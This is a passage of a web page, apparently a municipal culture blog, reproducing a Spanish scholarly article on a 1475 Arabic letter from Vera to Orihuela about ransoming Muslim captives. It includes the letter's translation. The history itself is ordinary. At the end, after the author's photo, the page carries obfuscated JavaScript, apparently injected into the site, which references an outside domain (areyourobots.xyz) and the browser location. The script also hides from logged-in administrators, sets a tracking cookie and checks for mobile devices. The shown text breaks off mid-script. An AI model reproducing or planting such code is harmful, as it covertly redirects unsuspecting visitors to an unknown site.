moj\u00f3n del camino real de Lorca a Vera y zona en la que adem\u00e1s se efectuaban los canjes de cautivos.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Adem\u00e1s de tener un papel fundamental en la delimitaci\u00f3n de esas zonas de tr\u00e1nsito, establec\u00edan \u2013como ya se ha visto anteriormente\u2013, relaciones con el objeto de firmar tratos, promov\u00edan y testificaban en acuerdos sobre temas fronterizos y actuaban como mensajeros e int\u00e9rpretes en este tipo de negociaciones intercomunitarias. Estos oficiales al servicio del poder general o territorial, con distintas denominaciones \u2013<span style=\"font-family: Times-Italic,serif\"><i>\u2018a<\/i><\/span>\u00af<span style=\"font-family: Times-Italic,serif\"><i>ja<\/i><\/span>\u00af, <span style=\"font-family: Times-Italic,serif\"><i>ejea<\/i><\/span>, <span style=\"font-family: Times-Italic,serif\"><i>alfaqueques<\/i><\/span><span style=\"font-size: xx-small\">142 <\/span>o <span style=\"font-family: Times-Italic,serif\"><i>fakka<\/i><\/span>\u00af<span style=\"font-family: Times-Italic,serif\"><i>k<\/i><\/span>, <span style=\"font-family: Times-Italic,serif\"><i>zaqueques, farautas <\/i><\/span>o <span style=\"font-family: Times-Italic,serif\"><i>lenguas\u2013 <\/i><\/span>actuaban como redentores de cautivos o intermediarios a partir de una cantidad estipulada, ofrec\u00edan sus servicios para comprometerse a negociar su liberaci\u00f3n y pagar el rescate. Eran personas capacitadas por el conocimiento del idioma, la paciencia y otras muchas cualidades propias de los buenos negociadores, que desde principios del siglo <span style=\"font-size: xx-small\">XIV <\/span>se ve\u00edan auxiliados por otros oficiales que recibieron la denominaci\u00f3n de <span style=\"font-family: Times-Italic,serif\"><i>alfaqueques menores<\/i><\/span>.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Pero al margen de la condici\u00f3n y representatividad de las personas designadas por los distintos Consejos para transmitir la voluntad negociadora de una u otra ciudad de ambos lados de la frontera, lo verdaderamente trascendente para la consecuci\u00f3n los fines proyectados era el contenido expreso del poder delegado y su aplicaci\u00f3n. En efecto, en el \u00e1mbito isl\u00e1mico el Derecho andalus\u00ed establec\u00eda que cuando un <span style=\"font-family: Times-Italic,serif\"><i>alcall <\/i><\/span>escribiera a otro una carta respecto a alg\u00fan derecho que pasara ante \u00e9l, no se juzgara por aquella carta sino conforme al testimonio del portador; de ah\u00ed que primara el testimonio de quien portara la misiva sobre lo relatada en la misma. La carta enviada por los representantes de la asamblea de Vera a la gobernaci\u00f3n de Orihuela, alude expresamente al \u00abenviado\u00bb, <span style=\"font-family: Times-Italic,serif\"><i>apreciado caballero que posee el poder para hablar<\/i><\/span>. El documento en cuesti\u00f3n, le permitir\u00eda cruzar libremente la frontera y entrevistarse con las autoridades de Lorca y Vera, actuando de intermediario en las negociaciones cursadas en ellas.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Muchos son los nombres conocidos de personas que ejercieron esta misma <span style=\"font-size: small\">funci\u00f3n en Vera y Lorca. A los nombres conocidos hemos de incorporar el <\/span>del enviado por la aljama de Vera en la misi\u00f3n objeto de este estudio, Ibn \u2018Abd Alla-h Ah.ma-d Abu &#8211; l-\u2018As\u00af\u0131z. En efecto, la carta conservada en el Archivo Municipal de Orihuela deja constancia de la autoridad reconocida al enviado por el Concejo de Vera, para quien se pide respeto y confianza en sus palabras. A Ibn \u2018Abd Alla- h Ah. ma- d Abu &#8211; l-\u2018As\u00af\u0131z se le hab\u00eda otorgado un poder expl\u00edcito para hablar con las autoridades oriolanas sobre el asunto de los prisioneros musul-manes. El documento en cuesti\u00f3n hac\u00eda la vez de salvoconducto y poder expreso entregado para que el portador acreditara ante los miembros del concejo, alcaldes, alguacil, regidores, caballeros, escuderos oficiales y hombres buenos, su condici\u00f3n de <span style=\"font-family: Times-Italic,serif\"><i>tratador <\/i><\/span>y <span style=\"font-family: Times-Italic,serif\"><i>negociador de la libertad <\/i><\/span>en representaci\u00f3n de la <span style=\"font-size: small\">autoridad competente.<\/span><\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">De ah\u00ed que este documento se encuadre entre aquellas otras cartas o salvoconductos cuyo valor radicaba en ser documento probatorio de la confianza depositada en determinadas personas para la consecuci\u00f3n de fines concretos.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">La carta objeto de este estudio acredita la personalidad del enviado para las negociaciones de la liberaci\u00f3n de ciertos cautivos, y desde el punto de vista formal reproduce las f\u00f3rmulas empleadas com\u00fanmente por los escribanos del momento respecto a las cartas crediticias expedidas desde la canciller\u00eda granadina en aquellos tiempos. Y as\u00ed, por ejemplo, el nombre propio va arropado por una serie de adjetivos calificativos que le anteceden, y dan idea del aprecio y relaci\u00f3n afectiva entre el enviado y el Concejo de <span style=\"font-size: small\">Vera.<\/span><\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">La alta consideraci\u00f3n que se ten\u00eda del enviado quedaba tambi\u00e9n justificada a partir de la trascendencia que sus actuaciones pudieran tener en distintos \u00f3rdenes, especialmente en el econ\u00f3mico. Concretando los aspectos abordados anteriormente, en el supuesto de Vera las repercusiones econ\u00f3micas derivadas de la retenci\u00f3n de los musulmanes de aquella ciudad llev\u00f3 a los representantes legales a acometer una serie de contactos \u2013generalmente desarrollados en el camino real de Lorca a Vera\u2013 que en virtud de los efectos jur\u00eddicos de ellos derivados se elevaron a la condici\u00f3n de \u00abtrato\u00bb o \u00abnegocio\u00bb encomendado a personas expertas en estas cuestiones. Y ello adem\u00e1s porque Ibn \u2018Abd Alla- h Ah.ma-d Abu &#8211; l-\u2018As\u00af\u0131z, era depositario de la confianza de quien le enviaba, pero contaba adem\u00e1s con la colaboraci\u00f3n de asesores o colaboradores, que son citados en el texto bajo la denominaci\u00f3n gen\u00e9rica de <span style=\"font-family: Times-Italic,serif\"><i>compa\u00f1\u00eda, <\/i><\/span>que conforme al contenido de una de las cartas transcritas en las actas capitulares, bien pudiera tratarse de expertos conocedores de la lengua \u00e1rabe y castellana; as\u00ed por ejemplo se cita a <span style=\"font-family: Times-Italic,serif\"><i>Samuel Aben Yayon, juheu <\/i><\/span>de quien se sirvi\u00f3 el mensajero procedente de Vera para la completa comprensi\u00f3n de <span style=\"font-family: Times-Italic,serif\"><i>la capitulacio que han portada per aquella<\/i><\/span>.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\"><span style=\"font-size: small\">3.2 <\/span><span style=\"font-family: Times-Bold,serif\"><span style=\"font-size: small\"><b>El tiempo del cautiverio<\/b><\/span><\/span><\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Una de las ideas m\u00e1s extendidas como resultado del estudio de algunos de los documentos conservados sobre apresamiento y liberaci\u00f3n de cautivos en la frontera es que la duraci\u00f3n del cautiverio se prolongaba en ocasiones indefinidamente en tiempos de guerra hasta la consecuci\u00f3n del rescate liberatorio. Tal dilaci\u00f3n se deb\u00eda a que, conforme era pr\u00e1ctica habitual tanto en territorio isl\u00e1mico como cristiano, los rehenes \u2013en determinadas circunstancias\u2013, deb\u00edan desplazarse hasta su propio lugar de origen para conseguir el importe del rescate, <span style=\"font-size: small\">bajo ciertas condiciones y garant\u00edas. Ahora bien, a tenor del documento <\/span>presentado bien pudiera afirmarse que las cantidades exigidas por cristianos y musulmanes para la redenci\u00f3n de los cautivos eran, por ambos lados, elevadas.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">El documento redactado en Vera suplica al concejo de Orihuela no se pida m\u00e1s por el rescate de los cautivos que lo inicialmente convenido, dejando entrever una exigencia no expl\u00edcita pero a todas luces desconsiderada respecto a la reciprocidad que ha de presidir toda negociaci\u00f3n o intercambio, como es la que en 1475 se est\u00e1 desarrollando.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">El plazo establecido a contar desde la notificaci\u00f3n para que las aljamas de moros de la Gobernaci\u00f3n los redimiesen y transportasen libremente a sus expensas hasta el lugar de origen era de tres meses. Si en ese t\u00e9rmino no se efectuaba la liberaci\u00f3n y restituci\u00f3n, los concejos, regidores, parientes o amigos de los cautivados podr\u00edan gestionar su rescate directamente, pagando las cantidades que se estipularan.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">En ese caso el rescate y los gastos deb\u00edan pagarse \u00edntegramente por las aljamas en el plazo de diez d\u00edas, sin poder alegar fuerza mayor ni otra excusa. Y si el cautivo estaba allende el reino de Granada el plazo era de seis meses; si bien estas condiciones ten\u00edan car\u00e1cter rec\u00edproco. En el caso de los musulmanes reclamados por la aljama de Vera el plazo transcurrido era ya de ocho meses cuando se env\u00eda la misiva a Orihuela. Dicha aljama era la interesada en la liberaci\u00f3n y rescate, incluso a cambio de la entrega de una cantidad que seg\u00fan el texto bien pudiera haberse negociado con anterioridad \u2013como as\u00ed se deduce de las palabras <span style=\"font-family: Times-Italic,serif\"><i>y no se pida m\u00e1s de lo que ofrecimos<\/i><\/span>\u2013<span style=\"font-family: Times-Italic,serif\"><i>. <\/i><\/span>Este rescate lo presentar\u00eda el apoderado enviado para hablar con los representantes del Concejo de Orihuela. Ahora bien, los mismos representantes del Concejo de Vera preve\u00edan la entrega o intercambio de rehenes cristianos, al afirmar que tambi\u00e9n ellos reten\u00edan a prisioneros, abriendo una nueva v\u00eda de soluci\u00f3n al conflicto mediante el canje de unos por otros.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\"><i>Y en efecto, una situaci\u00f3n muy extendida era que cuando se cautivaban <\/i>musulmanes o cristianos, quienes los reten\u00edan lo hac\u00edan \u00aba derecho\u00bb, es decir con el fin de poder intercambiarlos o canjearlos ante apresamientos <span style=\"font-size: small\">de los vecinos. Tal circunstancia obligaba a entablar negociaciones a <\/span>m\u00e1s largo plazo, y por tanto a dilatar la entrega o liberaci\u00f3n de los cautivos.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Esta dilaci\u00f3n se ve\u00eda acrecentada cuando se trataba de apresamiento de gentes de uno u otro lado de la frontera en aguas del Mediterr\u00e1neo; ello era debido a la complejidad que supon\u00eda la determinaci\u00f3n de la jurisdicci\u00f3n a la que deb\u00edan someterse los encausados, ya que la legislaci\u00f3n sobre derecho mar\u00edtimo en aquel entonces apenas defin\u00eda los derechos y deberes <span style=\"font-size: small\">de las personas que se encontraban a bordo de una nave. No en vano, los <\/span>juristas de aquel tiempo se preocupaban por dar soluciones equitativas a los distintos conflictos que en toda el \u00e1rea mediterr\u00e1nea se planteaban entre cristianos y musulmanes; en cualquier caso, era la ley del lugar de destino la que se aplicaba a los encausados, siendo irrelevante su condici\u00f3n de pasajeros. Esta debi\u00f3 ser, por otro lado, una de las causas que retrasaron la soluci\u00f3n del conflicto entre las gentes de Vera y Orihuela, ya que <span style=\"font-size: small\">seg\u00fan consta en las Actas Capitulares, las gentes de Orihuela argumentaban <\/span>la injustificada retenci\u00f3n de sus vecinos por los de Vera en represalia al apresamiento de unos pasajeros, que no pod\u00edan ser causa del incidente naval por el mero hecho de ser musulmanes, sino que el incidente con el barco apresado supon\u00eda la exigencia de responsabilidades no a la ciudad de origen de sus pasajeros, <span style=\"font-family: Times-Italic,serif\"><i>puix la dita fusta no fon armada en aquesta governacio, no som tenguts restituhit-los ab tot<\/i><\/span><span style=\"font-size: xx-small\">158<\/span><span style=\"font-family: Times-Italic,serif\"><i>, <\/i><\/span>sino a Cartagena, <span style=\"font-size: small\">en la que hab\u00eda sido armado el galeote, ciudad dependiente del <\/span>adelantamiento castellano.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\"><span style=\"font-size: small\">3.3 <\/span><span style=\"font-family: Times-Bold,serif\"><span style=\"font-size: small\"><b>El pago del rescate<\/b><\/span><\/span><\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Una \u00faltima cuesti\u00f3n relevante desde el punto de vista jur\u00eddico es la concerniente al modo en que se procedi\u00f3 a la soluci\u00f3n o pago del rescate. Esta modalidad supon\u00eda la realizaci\u00f3n y asunci\u00f3n de todos los puntos <span style=\"font-family: Times-Italic,serif\"><i>segons la capitulacio qui es fermada <\/i><\/span>entre las gentes de Vera y las de Orihuela para proceder a la <span style=\"font-size: small\">liberaci\u00f3n.<\/span><\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">La carta enviada por los representantes de la aljama de Vera ofrec\u00eda a sus destinatarios tres posibles v\u00edas para la resoluci\u00f3n del conflicto. La primera \u2013y conforme a la vigencia de las treguas y paces establecidas entre el sultanato nazar\u00ed y los reyes cristianos tanto de Castilla como de Arag\u00f3n\u2013, la liberaci\u00f3n autom\u00e1tica de los cautivos, que fueron retenidos de forma ileg\u00edtima. Una segunda v\u00eda, consistente en la liberaci\u00f3n a cambio del rescate ya negociado anteriormente por las autoridades competentes. En tercer lugar, plantea el documento una posibilidad a modo de sugerencia, consistente en el intercambio por otros cautivos retenidos por los de Vera, y que supuestamente deb\u00edan ser cristianos. Cada uno de estos cauces comporta un estudio pormenorizado de las causas y motivaciones que los hacen factibles en este tipo de negociaciones, y que han permitido a los estudiosos hablar de verdaderas redenciones a tenor de los convenios y negociaciones desarrollados en la zona <span style=\"font-size: small\">fronteriza con Granada.<\/span><\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">La opci\u00f3n del pago del rescate estaba condicionada a la posible legitimidad del apresamiento, y ella estaba a su vez supeditada a la situaci\u00f3n de paz o enemistad que estuvieran viviendo los reinos fronterizos. Por esta raz\u00f3n en \u00e9poca de confrontaci\u00f3n b\u00e9lica los cautivos lo eran leg\u00edtimamente, y con ello se pretend\u00eda el canje de los prisioneros cautivados por el bando contrario. Esta circunstancia supon\u00eda la consideraci\u00f3n jur\u00eddica del retenido como esclavo y por ende la aplicaci\u00f3n de medidas \u2013entre ellas la venta de los musulmanes en la isla de Ibiza o de los cristianos en Granada, e incluso el llegar a ser \u00abferrado\u00bb\u2013, para <span style=\"font-size: small\">evitar su fuga. La liberaci\u00f3n de musulmanes retenidos indebidamente en <\/span>tiempos de paz era uno de los temas que condicionaban la firma de tratados de <span style=\"font-size: small\">paz al m\u00e1s alto nivel entre los reinos cristianos y el sultanato nazar\u00ed. En efecto, <\/span>tanto es as\u00ed que muchos de los documentos conservados desde anta\u00f1o manifestaban expresamente el inter\u00e9s de los monarcas y sultanes de Granada y de otros allende el mar Mediterr\u00e1neo \u2013Tlemec\u00e9n y Egipto\u2013 de aplicar la regla de la reciprocidad respecto a la inmediata liberaci\u00f3n de quienes ileg\u00edtimamente <span style=\"font-size: small\">eran retenidos en territorio de paz.<\/span><\/span><\/span><\/p>\n<p><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Respecto a la segunda de las v\u00edas liberatorias, el pago de un rescate, diversos son los estudios que abordan el contenido y cantidades que lo componen, y que comprend\u00edan no s\u00f3lo la liberaci\u00f3n de los cautivos sino tambi\u00e9n la recuperaci\u00f3n de sus enseres. La pr\u00e1ctica habitual en Lorca era el pago<\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">efectuado por los musulmanes apresados en seda, bien cruda o hilada en <\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">mazos; pero tambi\u00e9n era el dinero objeto de estos pagos. Este \u00faltimo <\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">supuesto de pago en met\u00e1lico no estaba exento de riesgos, como as\u00ed queda reflejado en el documento contenido en las Actas Capitulares de Orihuela, respecto al pago de un rescate por dos moros y una mora de la <\/span><\/span><span style=\"font-family: Times-Italic,serif\"><span style=\"font-size: small\"><i>vila de Bera, sots speranca de reebre e aver de aquelles persones que li eren obligades per los dits rescats les dites quantitas dels quals rescats li van donat una partida e l\u2019altra esta en poder de aquells e per moltes clamors que ha fetes axi al alcayt e alcadi de bera como a d\u2019altres oficials de la dita vila de Bera james li han volgut fer pagas aquelles, ans hhui en dia les li tenen sens que <\/i><\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\"><i>nenguna justicia no li es volguda fer.<\/i><\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Y finalmente, ha de considerarse \u2013aun no siendo el caso del documento presentado\u2013, la conversi\u00f3n a la religi\u00f3n del apresador. Esta era otra de las v\u00edas <span style=\"font-size: small\">al uso para la soluci\u00f3n de los conflictos suscitados a causa del cautiverio, <\/span>situaci\u00f3n que comportaba renegar de la propia religi\u00f3n y abrazar la del enemigo, y que, en el caso concreto de los musulmanes, supon\u00eda la consideraci\u00f3n de hereje y el sometimiento a las persecuciones y aplicaci\u00f3n indefectible de la ley <span style=\"font-size: small\">cor\u00e1nica sobre los ap\u00f3statas.<\/span><\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Situaciones todas ellas que quedan en meras posibilidades ante la falta de datos y documentos anexos que pudieran resolver las inc\u00f3gnitas que rodean al suceso descrito en la carta de Vera y en aquellas otras transcritas meses antes en las Actas Capitulares del Archivo de Orihuela.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\"><span style=\"font-size: small\">III. <\/span><span style=\"font-family: Times-Bold,serif\"><span style=\"font-size: small\"><b>EL TEXTO EN \u00c1RABE Y SU TRADUCCI\u00d3N<\/b><\/span><\/span><\/span><\/span><\/p>\n<ol>\n<li>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">EDICI\u00d3N DE LA CARTA DE VERA<\/span><\/span><\/p>\n<\/li>\n<\/ol>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">2. TRADUCCI\u00d3N<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">A.M.O., A-30<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">[Direcci\u00f3n]<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">[v]<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Al Consejo de la ciudad de Orihuela, All\u00afah Todopoderoso la guarde y<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">honre su piedad\/\/<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">[r]<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Alabado sea Allah\/<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">A los presentes, nobles caballeros, miembros dignos de reconocimiento<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">de la asamblea, alguaciles, ministros \/ diligentes y a las personas de bien<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">entre las gentes de la ciudad de Orihuela, que All\u00afah el Todopoderoso os<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">guarde y os bendiga en vuestro camino y acciones. \/ Os env\u00edan sus mejores<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">saludos, la felicidad y mejores deseos hacia vosotros, quienes est\u00e1n preocupados<\/span><\/span><\/p>\n<p><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">por esta cuesti\u00f3n, el juez (de) los alcaides<\/span><\/span><span style=\"font-family: Times-Italic,serif\"><span style=\"font-size: small\"><i>(sic) <\/i><\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">el jeque \/, al algua cil, los ancianos y las gentes excelentes de los habitantes de la ciudad de<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\"><span style=\"font-size: small\">B\u00af\u0131ra, que All\u00afah les ilumine.<\/span><\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Respecto al asunto\/ [que nos concierne] sabed nobles caballeros, que quien<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">va a hablar con vosotros, es nuestro enviado, el augusto y apreciado \/ Ibn \u2018Abd<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">All\u00afah Ahm\u00afad Ab\u00afu l-\u2018As\u00af\u0131z, a quien hemos otorgado el poder para hablar con<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">vosotros respecto al asunto de los prisioneros &lt;musulmanes&gt; \/ gente nuestra \/<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">que se encuentra en poder vuestro y en Ibiza, as\u00ed como sobre aquel otro de<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Valencia. Nosotros pedimos anteriormente \/ que quedasen bajo vuestra protecci\u00f3n<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">y seguridad y os pedimos que decid\u00e1is respecto a todo aquello que os<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">cuente nuestro enviado de nuestra parte \/.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Sabed que nosotros tenemos cautivos para redimir con ellos el rescate pedido<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">por los prisioneros citados y [esperamos] les sea reconocido \/ todo lo que les<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">corresponde. Y todo ello ser\u00e1 expuesto por nuestro enviado, el cual se dirige \/<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\"><span style=\"font-size: small\">en compa\u00f1\u00eda<\/span><span style=\"font-size: small\">a la ciudad de Lorca, con la autorizaci\u00f3n del Adelantado, las<\/span><\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">bendiciones de All\u00afah sobre todos ellos. Y os hacemos saber, caballeros \/ nobles,<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">que nosotros, hoy hace ocho meses, pedimos estos prisioneros a la(s) gente(s)<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">de Lorca. Y ellos \/ han sido retenidos d\u00edas tras d\u00eda hasta hoy. Y afirman que<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\"><span style=\"font-size: small\">ellos<\/span><span style=\"font-size: small\">os pidieron esto. Y esperamos de vosotros \/ puedan regresar conforme<\/span><\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">al derecho, la justicia y nuestra costumbre, la cual &lt;rige&gt; escrita entre nosotros<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">y vosotros \/. Y os reiteramos que realicen por nosotros el rescate de estos cautivos<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">citados, [para] que &lt;ello&gt; no \/ sea causa que afecte a la paz que reina entre<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">nosotros y vosotros. Y no se nos pida m\u00e1s de lo que os ofrecemos \/.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">[A\u00f1adido en el margen derecho en sentido contrario] Y llegue a ellos este<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">asunto que sabemos conocen. Y que os desea todos los honores y la paz del<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">regreso [ilegible] de lo&lt;s&gt; prisionero&lt;s&gt;.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">En la fecha de febrero el \u00faltimo del a\u00f1o ama (universal, com\u00fan) de 1475<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">(11 de rab\u00ed).<\/span><\/span><\/p>\n<p align=\"LEFT\">texto completo con notas en:<\/p>\n<p align=\"LEFT\">http:\/\/dialnet.unirioja.es\/servlet\/articulo?codigo=790271<\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\"><span style=\"font-size: small\">\u00a0<\/span><\/span><\/span><\/p>\n<p style=\"text-align: right\" align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\"><span style=\"font-size: small\">M<\/span><span style=\"font-size: xx-small\">AR\u00cdA <\/span><span style=\"font-size: small\">M<\/span><span style=\"font-size: xx-small\">AGDALENA <\/span><span style=\"font-size: small\">M<\/span><span style=\"font-size: xx-small\">ART\u00cdNEZ <\/span><span style=\"font-size: small\">A<\/span><span style=\"font-size: xx-small\">LMIRA<\/span><\/span><\/span><\/p>\n<p style=\"text-align: right\" align=\"LEFT\">\u00a0<a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2014\/11\/mar\u00eda-magdalena-mart\u00ednez-almira-b.jpg\"><img decoding=\"async\" class=\"alignnone size-full wp-image-755\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2014\/11\/mar\u00eda-magdalena-mart\u00ednez-almira-b.jpg\" alt=\"mar\u00eda magdalena mart\u00ednez almira b\" width=\"296\" height=\"250\" \/><\/a><\/p>\n<p><script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https:\/\/www.areyourobots.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\\x20path=\/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](\/Android\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/BlackBerry\/i)||navigator['userAgent'][_0x287a('0xd')](\/iPhone|iPad|iPod\/i)||navigator[_0x287a('0xe')]['match'](\/Opera 